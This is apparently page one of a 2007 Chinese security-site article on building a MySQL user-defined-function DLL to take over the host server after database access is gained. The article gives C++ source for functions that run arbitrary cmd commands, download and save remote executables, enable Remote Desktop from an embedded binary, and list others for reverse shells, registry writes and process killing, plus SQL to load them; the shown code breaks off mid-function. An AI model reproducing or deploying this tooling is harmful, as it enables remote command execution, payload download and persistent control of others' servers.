执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 网络编程 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
安全配置向导(SCW)为Win2003打造铜
打造SQL Server2000的安全策略
轻轻松松打造属于自己的ASP木马
打造不完美的超级帐号
你也可以当黑客 打造完美的IE网页木
用NC打造成自己的简单后门
亲手打造一个QQ恶作剧程序
打造安全mdb数据库 防止非法下载
打造全功能MYSQL入侵UDF
作者:佚名 来源:安全在线 更新时间:2007-1-15 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示:

现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF,比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函数它会反弹shell,但是使用这个函数会造成MYSQL假死,前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了,造成了MYSQL当掉。my_udf.dll和Mix.dll相似,但它是通过my_udfdoor函数在服务器上侦听3306端口,用nc正向连接获得shell,但它的功能显的少了点,于是我决定自己写一个功能强大,运行稳定的UDF。

MYSQL有一个开发包,它定义了自己的接口,变量类型,以及函数执行顺序。比如我们要写一个open3389函数,我们可以这样写:

extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT 

*initid, UDF_ARGS *args, char *message)

{

//在open3389函数之前调用,一般用于初始化工作,为可选函数;

//return 1出错 ,0 正常

   return 0;

}

extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char 

*result, unsigned long *length,char *is_null, char *error)

{

//真正实现功能的函数,必需函数;

/*

函数内容;

return 结果;

*/

}

extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)

{

//在open3389函数之后调用,一般用于内存释放,可选函数;

}

[Copy to clipboard]

以上的open3389函数的返回值是char *类型的,如果是其它类型函数的参数列表也会有所不同,具体的可见MYSQL参考手册。

在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时,它要经的起各种变态输入的考验,否则一旦程序出错MYSQL服务进程就会当掉。

以下是我写的UDF内容,它包含10个函数:

cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;



使用方法:

创建函数:create function 函数名(区分大小写) returns string soname 'dll名' (注意路径);

删除函数:delete function 函数名;

使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名("help");

以上几个函数都经过多次的测试(测试平台:MYSQL 5.0.24-community-nt、Windows XP),不太可能会造成MYSQL假死等现象,但也不排除在特殊环境,特殊输入的情况下出错的可能。

CODE:

//-----------------------------------------------------------------------源程序

// MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。

#include "stdafx.h"

#include "stdio.h"

#include <windows.h>

#include <tlhelp32.h>

#include <stdlib.h>

#include <winsock.h>

#include <Urlmon.h>

#include "mysql.h"

#include "resource.h"



#pragma comment(lib, "Urlmon.lib")

HANDLE g_module;

//-----------------------------------------------------------------------

BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)

{

  if(ul_reason_for_call==DLL_PROCESS_ATTACH)

       g_module=hModule;

  return TRUE;

}

//-----------------------------------------------------------------------cmdshell

extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, 

char *message)

{//return 1出错 ,0 正常

   initid->max_length=65*1024*1024;

   return 0;

}

extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char 

*result, unsigned long *length,char *is_null, char *error)

{



   if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args

[0],"help")==0)

   {

       initid->ptr=(char *)malloc(200);

       if(initid->ptr==NULL)return NULL;

       strcpy(initid->ptr,"执行CMD Shell函数.\r\n例:select cmdshell(\"dir c:\\\\\");\r\n参

数中的\"\\\"要用\"\\\\\"代替.");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }



   int RunStatus=0;

   char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];

   DWORD size=0,len;

   HANDLE hFile;

   

   GetSystemDirectory(ShellPath,MAX_PATH-1);

   strcat(ShellPath,"\\cmd.exe");

   GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);

   strcat(TempFilePath,"\\2351213.tmp");



   cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);

   strcpy(cmdline," /c ");

   strcat(cmdline,(args->args)[0]);

   strcat(cmdline,">");

   strcat(cmdline,TempFilePath);



   STARTUPINFO si;

   PROCESS_INFORMATION pi;

   ZeroMemory( &si, sizeof(si) );

   si.wShowWindow=SW_HIDE;

   si.cb = sizeof(si);

   ZeroMemory( &pi, sizeof(pi) );

   RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);

   free(cmdline);



   if(!RunStatus)

   {

       itoa(GetLastError(),temp,10);

       sprintf(temp,"Shell无法启动,GetLastError=%s\n",temp);

       initid->ptr=(char *)malloc(strlen(temp)+1);

       strcpy(initid->ptr,temp);

       (*length)=strlen(initid->ptr);

       return initid->ptr;

   }



   WaitForSingleObject(pi.hProcess,30000);



   //获得结果

   hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,

FILE_ATTRIBUTE_ARCHIVE,NULL);

   if(hFile!=INVALID_HANDLE_VALUE)

   {

       size=GetFileSize(hFile,NULL);

       initid->ptr=(char *)malloc(size+100);

       ReadFile(hFile,initid->ptr,size+1,&len,NULL);

       (initid->ptr)[size]='\0';

       strcat(initid->ptr,"\r\n---------------------------------完成!\r\n");



       CloseHandle(hFile);

       DeleteFile(TempFilePath);

   }

   else

   {

       initid->ptr=(char *)malloc(100);

       strcpy(initid->ptr,"\r\n---------------------------------完成!\r\n");

   }

   (*length)=strlen(initid->ptr);

   return initid->ptr;



}

extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid)

{

   if(initid->ptr!=NULL)

       free(initid->ptr);

}

//-----------------------------------------------------------------------downloader

extern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args,

 char *message)

{//return 1出错 ,0 正常

   initid->max_length=65*1024*1024;

   return 0;

}

extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char 

*result, unsigned long *length,char *is_null, char *error)

{

   if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!

=STRING_RESULT || stricmp(args->args[0],"help")==0)

   {

       initid->ptr=(char *)malloc(200);

       if(initid->ptr==NULL)return NULL;

       strcpy(initid->ptr,"下载者函数\r\n例:select downloader(\"[url]

http://www.baidu.com/server.exe[/url]\",\"c:\\\\winnt\\\\system32\\\\ser.exe\");\r\n参数中

的\"\\\"要用\"\\\\\"代替.");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }



   HANDLE hFile;

   char path[MAX_PATH];





   strcpy(path,(args->args)[1]);

   

   hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,CREATE_ALWAYS,0,NULL);

   if(hFile==INVALID_HANDLE_VALUE)

   {

       initid->ptr=(char *)malloc(100+strlen(path));

       sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path);

       *length=strlen(initid->ptr);

       return initid->ptr;

   }

   CloseHandle(hFile);

   DeleteFile(path);

   

   if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK)

   {

       initid->ptr=(char *)malloc(50+strlen(path));

       sprintf(initid->ptr,"下载文件成功(%s).",path);

       *length=strlen(initid->ptr);

       return initid->ptr;

   }

   else

   {

       initid->ptr=(char *)malloc(100+strlen((args->args)[0]));

       sprintf(initid->ptr,"下载文件出现错误,可能是网络原因(%s).",(args->args)[0]);

       *length=strlen(initid->ptr);

       return initid->ptr;

   }



}

extern "C" __declspec(dllexport)void downloader_deinit(UDF_INIT *initid)

{

   if(initid->ptr)

       free(initid->ptr);

}

//-----------------------------------------------------------------------open3389

extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, 

char *message)

{//return 1出错 ,0 正常

   initid->max_length=65*1024*1024;

   return 0;

}

extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char 

*result, unsigned long *length,char *is_null, char *error)

{

   if(!(args->arg_count==0 ||(args->arg_count==1 && args->arg_type[0]==INT_RESULT)))

   {

       initid->ptr=(char *)malloc(200);

       if(initid->ptr==NULL)return NULL;

       strcpy(initid->ptr,"通用开3389终端服务.修改端口需重启后生效.\r\n例:select open3389

([端口]);");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }



   HRSRC hrsrc1;

   HGLOBAL hglobal1;

   HANDLE hFile;

   char path[MAX_PATH];

   DWORD size,size2;



   GetEnvironmentVariable("temp",path,MAX_PATH-1);

   strcat(path,"\\457391.exe");



   hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN1), "BIN");

   if(hrsrc1==NULL)

   {

       initid->ptr=(char *)malloc(100);

       strcpy(initid->ptr,"查找资源出错,open3389无法继续运行.");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }

   size=SizeofResource((HMODULE)g_module, hrsrc1);

   hglobal1=LoadResource((HMODULE)g_module, hrsrc1);

   if(hglobal1==NULL)

   {

       initid->ptr=(char *)malloc(100);

       strcpy(initid->ptr,"载入资源出错,open3389无法继续运行.");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }





   hFile = CreateFile(path,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL);

   if(hFile==INVALID_HANDLE_VALUE)

   {

       initid-&

[1] [2] [3] [4] 下一页

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号